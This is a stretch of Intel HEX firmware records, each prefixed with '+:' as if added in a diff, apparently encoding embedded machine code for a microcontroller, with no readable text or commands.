+:10488400CE8B300CC1AEE0800091FEB0F93F189899 +:10489400E40C1800E080008A038A3FF9F20A180049 +:1048A400C4314AA94AAAE00C1800C271744C159884 +:1048B40072169318745A4A7B180A178B4A65F60BBA +:1048C400002BEA0B002B762C0C1C972C49EB760B57 +:1048D400202BB738F408000893083038F007180084 +:1048E400C030FEB0F9574998497972099116910977 +:1048F40031A949A8B089C5986A190998F20801082C +:104904008B185803C4F05808C4D16C188B08E0689D +:10491400FFFFEA180FFF301C8D18FEB0FDCFC45006 +:104924006A088D18C3F8E4071800C1916C0A6C1961 +:104934002FFA123AC2B0FEB0F92D301CC378D70357 +:10494400000006F0000007440000074C000006A425 +:10495400000006F600000478000006F45803C16065 +:104964006C198B0930098D196A1A0999123AC062B7 +:10497400E069FFFFEA190FFF8D195008301CFEB0E3 +:10498400FD9D4008C1206A098D19E0081800C05136 +:104994005803CD20CBEDC0A86A180999F208000885 +:1049A4008B186C188D08C1BB300C2FDDD832D7039F +:1049B400D421494849499097138A4948A587118BBE +:1049C400F40B1800C0817289703A123AC0417048E1 +:1049D4000E38C15048C56A8848D6300B8D178D08EB +:1049E400302CC91EC0D06C0948A8301C9109FEB0F7 +:1049F400FCE9C06048586A8991479139DA2AD82A73 +:104A0400000006F0000006A40000072C0000074C7C +:104A140000000460D4214A9818967039302AF207AD +:104A24001609F40C1800C1014A594A6A138B158AF5 +:104A3400F40B1800C1717018723A103AC1317248FF +:104A44000E38C101C388303AF40C1800C0B1701894 +:104A54005808C310F1D9C009EEC9FFFF5808F2077E +:104A64001710499549548B1768188B083028F0069D +:104A74001800C060301B0C9CC46EC120C1C8301B20 +:104A8400169CC41EC1906A094908301C9109FEB0E5 +:104A9400FC99C12048A8681991479139C0C8303899 +:104AA400F0061800C09148A8118931A8F00918002F +:104AB4005F0CD822DA2AD82A000004640000072CEC +:104AC400000006A40000074C00000460000006F487 +:104AD400D4314A8811893008F0091800C4714A6336 +:104AE4003FF60788EC081800C05130194A38B089DD +:104AF400C3C830044A2008974A214A324A35078CF1 +:104B0400E0A00B864A28301A49C9580CC2F0A08785 +:104B1400A287078B058EF60E1800C05149DEBC87AC +:104B240049DEBC870B8EF60E1800C0613FFBAA86D7 +:104B3400EB6700088B3B499BB687F1660015B28A88 +:104B4400B08AB0A6B096F1670014F1660016583C1E +:104B5400C0812FF436485C54F0041800CD11C0789D +:104B6400582CC0513188B288D83ADA3AD83AD703A7 +:104B740000000476000006A4000006F4000006F01D +:104B840000000464000006F80000072C000004780C +:104B9400000006EC000006DC000006F6D401C99F04 +:104BA400C110489811893008F0091800C0B048793C +:104BB4001389F0091800C06030594858300CB08986 +:104BC400D802DA0A000006F000000464000006F4CB +:104BD400D401C7FFC0F0488811893008F0091800D3 +:104BE400C081E0A004C7C05130E94848B089D80268 +:104BF400301CD802000006F0000006F4D401CE9F59 +:104C0400C0C0487890193FF8F0091900C020DA0AAA +:104C140030F94848300CB089D802D703000006F0B8 +:104C2400000006F4D401CD5FC17048C890193FF864 +:104C3400F0091900C06130F94898300CB089D802E5 +:104C4400488811893008F0091800C020DA0A31793F +:104C54004838300CB089D802000006F0000006F491 +:104C640000000464D401CB5FC0D0487890193FF8A9 +:104C7400F0091900C06130F94848300CB089D802F5 +:104C8400C8EFD802000006F0000006F4D401CA1FE1 +:104C9400C020C85FD802D7033FF9484891093009BA +:104CA400483891095EFCD703000006D8000004A030 +:104CB400D421300749460E9B8D17302CFEB0FD24BD +:104CC400C20049296C0B4928201B1295139A10968F +:104CD400F60A00099109C108300CFEB0FB73C1103B +:104CE4005807C031FEB0FB64FEB0FA926C082FF78F +:104CF40020185C578D080B98EE081800CEE1DA2ACC +:104D0400D82AD7030000074C000006A40000046062 +:104D1400D4214937493449454946C1986C49F20878 +:104D24000008301C8B08FEB0FB4DC1706E096C4846 +:104D3400F20800086C191208300C8B08FEB0FB4214 +:104D4400C0C0FEB0FA656E082FF88F086E086809B7 +:104D54001238FE98FFE5DA2AD82AD703000006D8CD +:104D6400000004A000000460000006A4D401CA1FCF +:104D7400C3F0FEB0FA4D32EA49E91298F2CBFFF5DE +:104D840010CA320A10CA1638CFE132EB4998F16BD7 +:104D94000021F16B0020310BF2CEFFD5F16B000B3B +:104DA40049592FC9138BF16B001513BBF16B001A12 +:104DB40013AB149CF16B001BF0CAFFDE139BF16B69 +:104DC400001414CC1C3ACFE1310948A8F169002B36 +:104DD40048A92E09138AF16A003513BA301CF16A06 +:104DE400003A13AAF16A003B1399F1690034D8021E +:104DF400000004A400000464000006A4D431203D93 +:104E04001497500B1896FEB0FA03FEB0F9E9300976 +:104E140018C7301830B031A130C2129B31B330D42E +:104E24003FF532FEE0081800C03130FAC138E2081C +:104E340018005F07E40818005F0AEFEA100AF60A90 +:104E44001800C2D1E6081800C2A0E8081800C04142 +:104E5400400AB88AC2485809C2010D8AFC0A1900DE +:104E64005F07BA5A501735C7EE0A19005F0A401790 +:104E7400EFEA100AF60A1800C020BA59FAC7FFF47C +:104E840030090F5AF20A19005F090F9A2FF818CA4D +:104E94002FF65C580F8ACDEBB88530192FF831FA0C +:104EA4005C58F4081800E08B00042FFCCBCB2FDDFA +:104EB400D832D703D4313007189430F50E923E53CC +:104EC4004976FEB0FD77C290FEB0F98AF8C1FFF5CD +:104ED40019800388EA0818005F18EFE800081097A3 +:104EE400E4081800C101B883FEB0F9920388EA0807 +:104EF4001800C041E2100040C0618C18301720181F +:104F0400AC18CE0B5804C021DA3A30094858303C6A +:104F14009139FEB0FD815F1CD832D703000006F042 +:104F240000000464D431208D30074A640E963E5349 +:104F34001A95A816FEB0FD3EC0814A38118931A8E1 +:104F4400F0091800C3B1C078FEB0F94A189B19885B +:104F54005808C19149B8B0171097C0F8FEB0FD2A9F +:104F6400C2D0FEB0F93D320A300BE0A00FEEFEB025 +:104F7400F94F8E182FF8AE188E18EC081900CEF1E0 +:104F8400301CC1D8E6081800C160320A1A9CEE062B +:104F94001900C0F0E0A00F35A817FEB0FD0BC0E06B +:104FA400FEB0F91E320A1A9BE0A00F2BFEB0F930B6 +:104FB4002FF75C872FF65C86CBDB300C2F8DD83235 +:104FC400000006F0000006F4D421201D49C8704AF0 +:104FD40090C949C8121A500C910A300CFEB0F9F26B +:104FE400C2B0FEB0F915FEB0F9E3304A4967497B17 +:104FF4000E9CE0A00F06304A495BEECCFE1CE0A0FC +:105004000F001B89EF6901EB1BB9EF6901E81BA9CC +:10501400EF6901E91B98304AEF6801EAE06B00FF91 +:10502400EECCFE14E0A00F913558301CEF6801FE61 +:105034003AA8EF6801FF2FFDD822D703000006A489 +:1050440000000460000004A4800072D0800072E4B8 +:10505400D4314B6811893038F0091800C0513FFC35 +:10506400CB4FE080008B4B233FF80789F0091800F1 +:10507400C071301630294AF80C959109C068660948 +:105084004AC82FF9301591093FF930084AAA1096F9 +:1050940095094A874A994AA2930830114A444A30EA +:1050A400C5C8300CFEB0FA0AC6806E185808C49100 +:1050B4006E088F18E2061800C0812018301C8F0873 +:1050C400FEB0F9FCC191C59807883FF9F2081800B1 +:1050D400C110680C580CC09101893038F0091800CF +:1050E400C45164688F08C0288F0C301CFEB0F9E6E8 +:1050F400C4406E1889086E188F08E068FFFFEA182C +:105104000FFF301C8F18FEB0F9D9C37068190598C9 +:105114001039E08B0006300948589119C2B81019AB +:1051240030168919C178D703000006F00000074C37 +:1051340000000744000006D8000004A0000006A4F4 +:10514400E2061800C1705805C0506E08F0C8FE0C85 +:105154008F086E082FF88F086E0964381039CA2337 +:105164005806C0815805C8710A9C31B94848B089AD +:10517400D832FEB0FDCFD832D83AD703000006F4B7 +:10518400D4314A09300818941295B2181896300789 +:1051940049D031A149D23013FEB0FC0CC141018881 +:1051A400E2081800C2C18513C54FC0915807C271E7 +:1051B400CBAEC250AA1708960697CEFBFEB0FD7A76 +:1051C400CEC1C1D8FEB0F80C30091988F208180015 +:1051D400C05120165C56C021DA3A8A1C2FFC5C8C24 +:1051E400AA1CCDB15807C05031B94878B089D8321B +:1051F400C9AEC050AA1708963017CCFBD83AD703CB +:10520400000006F0000006F40000074CD4314953B6 +:1052140018952F9330D630270B84089CFEB0F7CC1A +:10522400C14149081189E8091900C03131C9C1389F +:105234002FF80638CF815806C0412FF730D65C5777 +:1052440020162FF55C56CE9B3148F0071800E088F5 +:10525400000632B948483007B0890E9CD832D703CB +:10526400800072D4000006F4D431208D501B5029E4 +:10527400189714965809C0303002C068FEB0F7C8B9 +:10528400FEB0F7AE18923098F0061800E08B0004D8 +:105294003018C0883638EC081800F9B80202F9B89A +:1052A4000303F00911065C59507930A9EC090D0A81 +:1052B400F6CAFFD05C5A364B505A5CD8EC0B0D0A38 +:1052C4002F883004F4CCFFD05C5B5C5CF6090D0ADB +:1052D4005068F4C9FFD04CB85C592F98503C5049E1 +:1052E40030155008089332E00891C02830750F86B5 +:1052F4003019F2051800C121E00618005F09406862 +:1053040006385F08F3E81008E2081800C0510C9C46 +:10531400FEB0F752C1103025CEBB3088F00518001E +:10532400C0B130B8F0031800C0500C9CFEB0F74474 +:10533400C0303095CDDB3019F20518005F08308994 +:10534400F20518005F09F3E81008E2081800C2002B +:10535400ECC9002135D8F0091800E08B0016ECC91F +:1053640000613198F0091800E08B000522065C56B4 +:10537400C0C84A481189EC091800C0602FF84009D8 +:105384001238CF91C02830062FF75806CB1030784A +:10539400F0051800C0C1E0061800C0500C9CFEB017 +:1053A400F70BC0303085CA4B2FF7CA2B3068F00595 +:1053B4001800C0713088F0031800C9903206C23852 +:1053C4003098F0051800C07130B8F0031800C340DD +:1053D4003206C2083058F0051800C0414056306506 +:1053E400C1983048F0051800C04140463055C128E6 +:1053F4003038F0051800C07140363045C0B8D703C6 +:10540400800072DC40783029F2051800C031109514 +:1054140037E640285808C050401912C65019C02811 +:1054240004C6E80815072FF3A1945C53F0040004A4 +:105434000C045C54C5DB089C2F8DD832D4211897FA +:10544400FEB0F6CE19885808C061109C30A948E80F +:10545400B089D8223E5AF4081800C070F939000BFC +:1054640030F8F0091800C06130B94878300CB089C0 +:10547400D82230B948480E9BB08930BAE0A00CAEAF +:105484005F0CD822000006F4D431203D3007189177 +:105494001A9549660E93496430A2C0583FF8F00744 +:1054A4001800C1E02FF730195C571A9B0E9A029C22 +:1054B400CDCEAC13FEB0FA7EC08148D8118931A894 +:1054C400F0091800C0D1C0D81A9CCB9FCE8109889E +:1054D400E4081800C0608C182FF8AC18CECB300745 +:1054E4000E9C2FDDD832D703000006F0000006F42E +:1054F400D4311897C8CE1896C3700E9CCC6F1895EB +:10550400C05132A94998B089D8320C9CC3AEC2C0EC +:105514000A9A30090E9C129B2016CA7E5C56189378 +:10552400ECC2FFC030155C524914C13888182018E9 +:10553400EC051800E4051700A818FEB0FA3BC140BA +:105544000A9A0E9C069B2F372FF5FEB0FC595C552A +:105554004878EC051800FE98FFEB9019301CF20611 +:105564000006B016D832D83A000006F4000006F05F +:10557400D431205D4C8830069186FEB0F4674C78B7 +:10558400B0864C789106FEB0FAA5E080014B4C57EA +:105594003045EECBFE42501B301CFEB0F713E080CA +:1055A4000141EF3901FE3558F0091800C090EF3978 +:1055B40001FF3AA8F0091800C0303029C6984B887A +:1055C400700B580BC521401A16993012306330E421 +:1055D40030BE30CC500B15883800F2C1FFFFE00814 +:1055E40018005F00EC0818005F080048EC08180079 +:1055F400C19015C8EA0818005F0BE40818005F00A2 +:10560400F7E01000EC001800C151E6081800C120B2 +:10561400E8081800C0F0FC081800C0C0F80818001A +:10562400C090F3D1C0082F0AEA091800CD51400BED +:10563400C1C8A569F2C9FE425C79EE090009F338D4 +:10564400000B4974A888F3380008A8B8F338000997 +:10565400A8A8F338000AA89848F86803118CE0A0B9 +:1056640005EDA73C890CC99B48E83EB9118AF20AAA +:105674001800C0D111AA3909F20A1800C081F13901 +:105684000015E21900F0E04900F0C0F03039486834 +:10569400B089CC78000006A4000006F00000046085 +:1056A400000004A4000006F43009304A50394D09C2 +:1056B4004D0CB28AF139000CF13A000DA199B33ABC +:1056C4005C5AB89AFAC7FFF1F13C0016AE8CFACED8 +:1056D400FFF2F13C0017BC8CFACCFFF440365806BC +:1056E400C0D1F1360027B886F1360024AE86F136F3 +:1056F4000025BC86F1380026B8984BE84035F20501 +:10570400024591154BC8F13600135806C131F133E7 +:105714000014EC031800C0E1F1360023B886F1361A +:105724000020AE86F1370021BC87F1380022B898FA +:10573400C098AE863008B888B8984AF8F138001492 +:10574400BC884AC84ACCA175F93E0011F15500182D +:105754004034FAC7FFEC0EFEF93E0012FAC6FFEE23 +:10576400AC8EFB1E0012F20315041C03F20E150985 +:10577400A5732013E60E0C02F202024EF15E001A2B +:10578400F933000EAE835C7E0A0E915EF93500306B +:10579400F93C000FAC8CFB070012F207024C5C775B +:1057A4005C7C0A17180BB337914BB047580AC39067 +:1057B400A939301818191C19C038A199A19AF00AEE +:1057C4001800CFC148B8F2CBFFFE913BE0490FF47B +:1057D400E08B00054898B08AC228488AE049FFF463 +:1057E400E08B000E3028B488C1A8D703000006F46B +:1057F400000006A4000004A4000006F02E8848B9A6 +:10580400F33B002FB08B303BB48BF33A002CB0BA8F +:10581400F33A002DB0AAF339002EB099301CC028F9 +:10582400300C2FBDD832D703000004A4D401FEB03D +:10583400F9FBC041E06C00FFD80248487039702879 +:1058440012385F8CD802D70300000464D401FEB080 +:10585400F9EBC10048881188EDB80001C081FEB0A1 +:10586400F8A9C080FEB0F30CFEB0F57C30094828DE +:10587400B089D80200000464D42149470F88EDB8E8 +:105884000000C03031E9C0786E296E381039E08BE1 +:105894000005320948E8C0C8302CFEB0F8BDC0A1EC +:1058A40048B831A9118AF20A1800C0313209B08906 +:1058B400DC2A6E38F0C9FFFFF1D8C0098F39485986 +:1058C400F208070CD822D70300000464000006F491 +:1058D400000004A4D4211897FEB0F9C6C360FEB03A +:1058E400F105C3300E9CE21C0002C190301CFEB0D6 +:1058F400F497C2B0496811A6EDD6C001C060315911 +:105904004948300CB089D8224938118CE0A0049A57 +:10591400C090314948F80C9CB089D822FEB0F4807C +:10592400C140EDB70002C0413009489891290E9951 +:105934004878E2190008C0303009C028702991392C +:10594400301C4838B087D822D82AD7030000046412 +:10595400000006F4000006A4D431201D1897169602 +:1059640014915009FEB0F94CC5703018F0011800BC +:105974005F0A3008F00618005F09F5E90009F0092C +:105984001800C2D14A6890155805C0313013C05868 +:10599400EAC900013003B01930044A204A02C02881 +:1059A4003013FEB0F807C3805803C070029A0C9BF2 +:1059B4000E9CFEB0F295C3184009029A0C9B0E9CF3 +:1059C400FEB0F314C0E049781188E6081800C0500E +:1059D4008E08F0040004AE044918B015301CC1D878 +:1059E400491913883109F2081800C070A41530B998 +:1059F400F2081800C111CD5B01883009F2081800C3 +:105A0400C0402F345C84C04820D62F375C5684189D +:105A14002018A418CC7B300C2FFDD832000006F0DF +:105A2400000006F5000006F4D431205D1897504BB1 +:105A3400FEB0F92EE08000924C99129392194C9882 +:105A44003004109650393012F10900240895F138C9 +:105A5400002C502950183FF04C314048E4081800FD +:105A64005F095009EA0418005F18F3E81008EA080F +:105A74001800C0B086183FE9F2081900C031308917 +:105A8400C0982FF8A618C1A88618E0081900C051BC +:105A940030994B58B089C5685808C0D1ED38002CEE +:105AA400EA081800CF60ED38002DEA081800CF117D +:105AB4003014C04820183004A618FEB0F77BC0711B +:105AC400038931A8F0091800C1C0C3C8ED3C002CFB +:105AD400FEB0F154C1605804CC11ED080024400913 +:105AE4005809C0302FF8C0282018ED580024580752 +:105AF400C051FEB0F171301CC30820175C87CAEB9B +:105B0400038831A930AAF20818005F09F4081800C4 +:105B14005F081049EA091800CA105804C050ED651E +:105B2400002C3004C9BBED38002CE4081800CB105D +:105B3400ED38002DEA081800CAC1A610ED62002C49 +:105B4400C8DB40294878F15900244019300CF16928 +:105B5400002C48384039B0192FBDD832000006F067 +:105B6400000006A4000006F4D42118961697301BF2 +:105B7400300CC5BFC080300A0E99149B0C9CCEDE3D +:105B8400CF70301CD822D703D401FEB0F881C040B6 +:105B9400FEB0F15C301CD802D4211897CF6FC1F04D +:105BA400300B0E9CCE2F1896C06032A948D8300C0A +:105BB400B089D8220E9CFEB0FC9DC11048A83019B3 +:105BC400B0A6911691264898F169002CF109002499 +:105BD4002FF9F1590024FEB0F3C5D822D82AD703EF +:105BE400000006F400000464000006A4D421FEB002 +:105BF400F84FC2E049876E8C580CC0313199C258B5 +:105C040030194968B019FEB0F6D5C220FEB0F0E4F0 +:105C1400493870186E868F88CB8FC1A0EF39002D5C +:105C24003008F0091800C0B0EF39002CF009180052 +:105C3400C060C0F86E180C38C031C0B84887301B3B +:105C4400300CCF3ECF8130894868B089D822D82A19 +:105C5400DA2AD703000006A4000006F0000004645A +:105C6400000006F4D401FEB0F7FFC0F0FEB0F0E28D +:105C7400C0C0487992194878F159001C48697219D2 +:105C84009189C83F5F1CD802D80AD703000006F0E8 +:105C9400000006A400000464D4211896C76FC081D4 +:105CA400D822EF38002CEC081800C031DA2A485703 +:105CB400301B300CCBAECF6130994838B089D82234 +:105CC400000006A4000006F4D43149721895E504D6 +:105CD4000024C5BFC0311897C248300730130E9650 +:105CE400C0D8ECC8FFFFE539002CE6091800C04114 +:105CF4002FF75C87C038EDD8B010301B300CC95E6C +:105D0400CF11C43F3FF8F0041900C050089C301B69 +:105D14005C7CC8BE5C863018EA081800EC071710D3 +:105D24000E9CD832000006A4D4211896CCEFEFDCE8 +:105D3400B010C061309948A80E9CB089D8220C9C40 +:105D4400CACFC0B03018F0071900C021DA2A0E9C5F +:105D5400301B202C5C7CC69ED822D703000006F49E +:105D6400D4211897FEB0F794C2800E9CC16FC25024 +:105D74003FF84937AE8830188F18FEB0F96B189683 +:105D8400C071FEB0F899FEB0F2ED0C9CD8226E09F9 +:105D940048C8911931093007B0A99127FEB0F7E836 +:105DA400C0C0FEB0F607C090FEB0F06AFEB0F2DAF2 +:105DB400C0400E9CCBAFD822D82AD7030000074C92 +:105DC40000000464D401FEB0F6EBC0F048881189E9 +:105DD4003008F0091800C070300948689189FEB095 +:105DE400F035DA0AFEB0FBC6D802D703000006F08D +:105DF400000006A4D401CE7FD802D703D42118977B +:105E0400FEB0F6CEC160E0A00201F8071800C0633E +:105E140030694898300CB089D82248881189EE0935 +:105E24001800C021DA2AB08730094858301CB089DC +:105E3400D822D703000006F4000006A4000006F0F0 +:105E4400D4211897198CCDBFC190CBDFC1706E19C6 +:105E540048B89189C9AEC0B1C118301B300CFEB02E +:105E6400FDE51895C051C91E0A9CD82248568C19C4 +:105E74008E48F0091900CF21DA2AD82A000006A496 +:105E8400000006F0D431209D189716961490FEB0A9 +:105E9400F687E08000C94CAB7688178B5048FB6BC3 +:105EA400000C4C8B961BFB5B0014FAC9FFE8FACA82 +:105EB400FFF4742B932B502BF4EA0000F2EB000058 +:105EC400FAEB000035C50F8CEA0C18005F0832FAB3 +:105ED400F40C18005F0910493008F0091800C0607C +:105EE400C8AFE080009D2FF7C5A80F9833ABF60824 +:105EF4001800C1E10FABEA0B18005F05F40B1800A2 +:105F04005F0A0A4AF20A1800C1304AF8F8C90020A8 +:105F14007008F00C0708E2180002F20C1710241C99 +:105F24005C5CC6DFC7C0C4FFC7A02FD7C38832E9F3 +:105F3400F20C1800C18132F935CAF20818005F0961 +:105F4400F40818005F08F3E81008C0D02FE7C278FF +:105F5400C4EEC6500A981139E8091800F005171064 +:105F64000A97C05832E332F135C230040F88E6088C +:105F74001800C1510F98E6081800C111EEC5FFFEC4 +:105F84000B88E20818005F0AE40818005F09F5E9C5 +:105F94001009E8091800CDD15808CDB0FEB0FDF6BF +:105FA400C3E0300532F10A940A9335C2C028301593 +:105FB4000F88E6081800C091301CC358000006A4DE +:105FC400000006F00000010C0C9B0E9CFEB0FDCE00 +:105FD400C0515800C2400E9430152FF70F8858084E +:105FE400C0815805CE60089CFEB0FDD8CE11C178A2 +:105FF400E40818005F09E20818005F081248E60880 +:106004001800CEC05805C040089CCABEC080FEB06F +:10601400EF11C050C28EC0302FF7CCBBFACCFFE8D2 +:10602400C10F300C2F7DD832D42130181897F00CC2 +:106034001800E088000732794898300CB089D822DB +:1060440048860D8CEE0C1800C021DA2AFEB0F1222D +:106054000E9CFEB0F11F301CAC87D822000006F461 +:106064000000076CD43149083007B08748F8B0877E +:10607400FEB0F0C2FEB0ED7A300CCD7F48C648D3F6 +:106084003FF448D5ED67002DA687AC84AA87301C61 +:10609400CCCF48A8A687AC84AA87ED67002DB0872B +:1060A400D832D703000006F500000476000006A4E9 +:1060B400000006F0000004640000076C48DDFEC028 +:1060C400F0C2E3B00001D55348B048C10230C06209 +:1060D40048B2A505A1240230CFD348A048A102307C +:1060E400C06230023003A1220230CFE3FECFF3F0CE +:1060F400000080000000000800000110800074709F +:106104000000011000000778E1B90000D303FE7A13 +:106114000C007558EDB80006CFD13018A36CF00B05 +:10612400094BE02CF3F87808104B990BE3B9000005 +:106134005EFCD703D4211897E1B60000D30348A826 +:1061440011893008F0091800C041302B301CCDDF14 +:10615400485811892FF9B089E3B60000303C0E9BF2 +:10616400CD4FD822000001EDE1BA0000D303FE7840 +:106174000C00E069030791A97009A3A99109E3BA86 +:1061840000005EFCD401301CCD6F303B301CCBDFF3 +:10619400CECFFE790C007358EDB80007CFD1FE784E +:1061A4000C00E069020DEA193F0F109A91897558A5 +:1061B400EDB80000CFD13069FE780C00F149006CD5 +:1061C400D802D703D421E0680080EA188080FE77E3 +:1061D4000C008F18CCAF0E997358FE770C00E218A0 +:1061E4000080CFB0E06C1B00EA1C00B7FEB0E4CC2A +:1061F400E1B90000D3036E08E018FFFCA1A88F08E2 +:10620400E3B90000D822D7035EFFD703D401580CAA +:10621400C020DA0A4828700C5D1CD802800072E89D +:10622400D401580CC020DA0A169C483870185D183E +:10623400D802D703800072E8580C5F0C5EFCD703C9 +:10624400D401580CC020DA0A4828702C5D1CD802EE +:10625400800072E8D421189616971495302CFEB05D +:10626400DF435806C0303017C0780E9C0A9B48584C +:1062740070585D181897302CFEB0DF5C0E9CD82245 +:10628400800072E8D421189616971495301CFEB03D +:10629400DF2B5806C0303017C0780E9C0A9B485834 +:1062A40070485D181897301CFEB0DF440E9CD8224D +:1062B400800072E85EFDD70348D8302A9099F20B2B +:1062C4001608F40B1900C111F3D9C008C0E19039C4 +:1062D400301AF4091900C091B0694869301C912939 +:1062E400FEC9FE5C91495EFC5EFDD70300000448D4 +:1062F400000001F9D42148D70F885808C020D82AB3 +:1063040048B948CB129AF6E40000F2E5000048A927 +:10631400300BB288E06C0081FEC8FFE03089FEB02B +:10632400E6EFAE8CD822D703000001EF000001F0A5 +:10633400000001FC000001EED40148693008B28875 +:1063440048591389F0091800C020CD5FD802D7033B +:10635400000001EF000001EED421E1B70000D303F7 +:10636400491930282FE9308BF0CEFFFF138A580AE1 +:10637400C100F40C1800C041E3B70000DA2AF1DED2 +:10638400C0082FF9F6081800CF01E3B70000D82A97 +:106394004859F2080B0C30194848B089CACFE3B702 +:1063A4000000DA2A000001FC000001EED421E1B76C +:1063B4000000D303497930282FE9308BF0CEFFFF5A +:1063C400138A580AC220F40C1800C100F1DEC00878 +:1063D4002FF9F6081800CF31C188F208000C199C77 +:1063E400F2080B0CF1DBC008C038306A4899F0CBD6 +:1063F400FFFFF4081800FE98FFF248683009B0F96E +:1064040030194858B089C77FE3B70000DA2AD703A8 +:10641400000001FC000001EED421E1B70000D30329 +:1064240048681189124C3019B08C4858B089C63F5D +:10643400E3B70000DA2AD703000001FC000001EEF4 +:10644400D421E1B70000D303486811895CDC126CE5 +:106454003019B08C4848B089C4EFE3B70000DA2A99 +:10646400000001FC000001EED401FEC901B2483A6B +:10647400483B484CC30CD8020000000D000001F852 +:1064840000000204D4014838118CE0A00390D80223 +:10649400000001F9D401E0A00389D802D40148998D +:1064A4003008B2884889B2884889B2884889300A55 +:1064B400300BF2EB00004879B288E0A00376D802F2 +:1064C40000000204000001F8000001EF000001FCDC +:1064D400000001EED4214B661497300E0D8A1498F7 +:1064E400E2180060FC0A1800C4245808C2D10D99AF +:1064F4003068F0091800C5A1C5CC32082F7CB8C893 +:10650400199A3219F20A1800C5110DA9F4091800D4 +:10651400C0718D2C8CB81989F0090D48C24819EA4C +:10652400F20A1800C431B8C88D2719F9F9380008DF +:10653400F1E910888CB9F00A1608F5E810885C783F +:10654400F2080D48C108E0480020C3010D98302925 +:10655400F2081800C0603039F2081800C271C0583F +:106564008D2C3018AC68C2188D2BCFCBE04800209E +:10657400C1D10D98309AF4081800C0B0C17330A985 +:10658400F2081800C08030B9F2081800C0F1C068E1 +:106594005D19D8220DA8B888C0888C393008F00954 +:1065A4001900C0418C18B688DA2AD82A0000044899 +:1065B4004828700C5EFCD70300000214D40149C8BB +:1065C40011893008F0091800C31049A87008700830 +:1065D40011C9F8091800E088002A4979930811AA1A +:1065E40011B9304EF3EA1089F20A1608F5E9108958 +:1065F4005C79F0090009C138119AFC0A1800C0D16D +:1066040011AAF80A1800C09111BAF60A1800C0516C +:106614004899301C9308D802118A14081039FE9B3B +:10662400FFED4859300C9308D802D80A0000021232 +:106634000000020800000214D401484811BCF9DC2F +:10664400C007FEB0E49BD80200000448D431189679 +:10665400CB6FC3C049E849F3700730443055660A2C +:10666400740811AC11BB0F89F7EC108BEE0900090B +:10667400F60C1608F9EB108B5C7B1608C0A8139C6B +:10668400E80C1800C090EA0C1800C070138B1609AF +:106694001238FE9BFFF6300912975809C11013CA2D +:1066A40013D813ACF1EA108813BBF0091608F3E809 +:1066B4001088F5D8C010FEB0E689CD21C0787418D2 +:1066C400F0060328700C5D1CD832D83A000002147E +:1066D40000000208D431300B1895C71FC37049C697 +:1066E4006C087018F00503276E3C5D1C189B0A9C0F +:1066F400C66FC2C049783043700530546C087009C5 +:1067040013AB13BA0B88F5EB108AEA080008F40BF4 +:106714001608F7EA108A5C7A1409C0A8119BE60BE4 +:106724001800C090E80B1800C070118A14081039C2 +:10673400FE9BFFF6300810955808C05011ACFEB00F +:10674400E4BFCDDB6E185D18DA3AD83A00000208CF +:1067540000000214D421492811893008F0091800D6 +:10676400C0F0300748F6C0580E9CCB5F2FF75C573B +:106774006C08700811C8EE081800FE9BFFF74888E3 +:106784003009B08948889088EDB80009C031E0A08C +:10679400020B30094848B009D822D703000002127E +:1067A4000000020800000210D4214C38300A3009DD +:1067B400915AB069914A1186F2061800C064903863 +:1067C400F2081900E08001E60C9BE21B0060E08106 +:1067D40001BA1698F6061800E08400E24B678E3979 +:1067E4005809E08001B0EDD6C005E08100960F9A0B +:1067F400306BF60A1800C120308BF60A1800E080CE +:106804000084F00A1800E081019E3028F009190084 +:10681400E0810199302B4A9CCA788E1A302BF1DA28 +:10682400C010F0061608F6061800C0F0303AF40658 +:106834001800C2803018F0061800E08101844A086C +:106844007008109C118BC558F1DAC00849C9720A46 +:10685400F53A0011F00A1800E08801757219F2087F +:10686400033811A9109C11B8F1E91088F009160831 +:10687400F3E81088F7D8C010FEB0E39E6E28B096F7 +:10688400C3A8F1D8C0085818C0F0E089000558081A +:10689400C0E0C5895828C0505838E0810154C178F7 +:1068A40030C84889C16830584879C138304B487C71 +:1068B400C208D7030000044800000210000000884A +:1068C400000000A4000000B4000000E631484C7948 +:1068D4004C7B129A2FEB153CA96C16BCF409010CE5 +:1068E400F00C1800CF932FF84C1CA178109BB8889B +:1068F400FEB0E3624BF89039906AF20A1900E0881E +:10690400014AB069C4793018F0091900E081011B0B +:10691400301B4B9CC2985816C2A10F9C30AAF40C91 +:106924001800E0810110EC091900E081010C4B29E9 +:106934001389F6091800E08001064B080FD770068A +:106944006C0811C8EE081800E08800FD0E9CC37E98 +:10695400E08000F96C18F0070328703C5D1C4A883D +:10696400301BB08C109CFEB0E327C5D85826E081BC +:1069740000EA0F9AF60A1800E08100E5EC09190014 +:10698400E08100E10FDCFEB0E31D49E8E0690100AD +:106994000C9B580CF9B90000B009CE5BEDD6C005CC +:1069A400E0810084493730390F98F2081800C3C0D9 +:1069B400E08B00083019F2081800E08100C4C238E6 +:1069C4003059F2081800C0703099F2081800E081BC +:1069D40000BAC3B88E38EC081900E08100B4FEC8D0 +:1069E40003A68F48C208D703000000EC000000BCD7 +:1069F4000000044800000212000002080000020E19 +:106A04000000020C8E38EC081900E081009C8E19FD +:106A14003018F0091900E08100964BF99208A9D8C2 +:106A2400B208CC1CDA2A8E38EC081900E081008BFD +:106A34008E193018F0091900E08100854B6992081D +:106A4400A9B8B208CAFCCEFB8E38EC081900C7A15D +:106A5400FEB0E2A5C7704B180FB97008F1380011E9 +:106A64001039E0890070C77E4AD84AE911B8B28863 +:106A74005808E08000904AC920184A8A1296741A6D +:106A84003007F40800389308C0880E9C300BFEB021 +:106A9400FDDFC5802FF75C576C08700811C8EE083D +:106AA4001800FE9BFFF4C7685816C1B149C930BA33 +:106AB400139CF40C1800C461923AF60A1900C4211C +:106AC400498A158AF60A1800C3D013D792160E9C69 +:106AD400C02EC380F7D6C0080E9CFEB0FDB9C30813 +:106AE4005826C30148E8301A1199F4091800C06007 +:106AF400303AF4091800C261C1889039F6091900C6 +:106B0400C211901AF20A1900C1D111DCFEB0E2647C +:106B1400C178D70300000210000000880000044878 +:106B240000000212000002089039F6091900C0A101 +:106B3400901AF20A1900C06111DCFEB0E28F580C01 +:106B4400C29149581189F3D9C0055819C22149394C +:106B5400138A3009F20A1800C1C011D74908700617 +:106B64006C0811C8EE081800E0880014300B0E9C65 +:106B7400FEB0FD26C0E06C18F00703266C3C5D1CDB +:106B8400189B0E9CFEB0FD1CC0406C2C5D1CD822D2 +:106B9400D82ADA2A00000448000002120000020881 +:106BA4005EFC5EFC5EFC5EFF5EFD5EFCD401301CA0 +:106BB400FEB0DAC0302CFEB0DABDD802D4214BB816 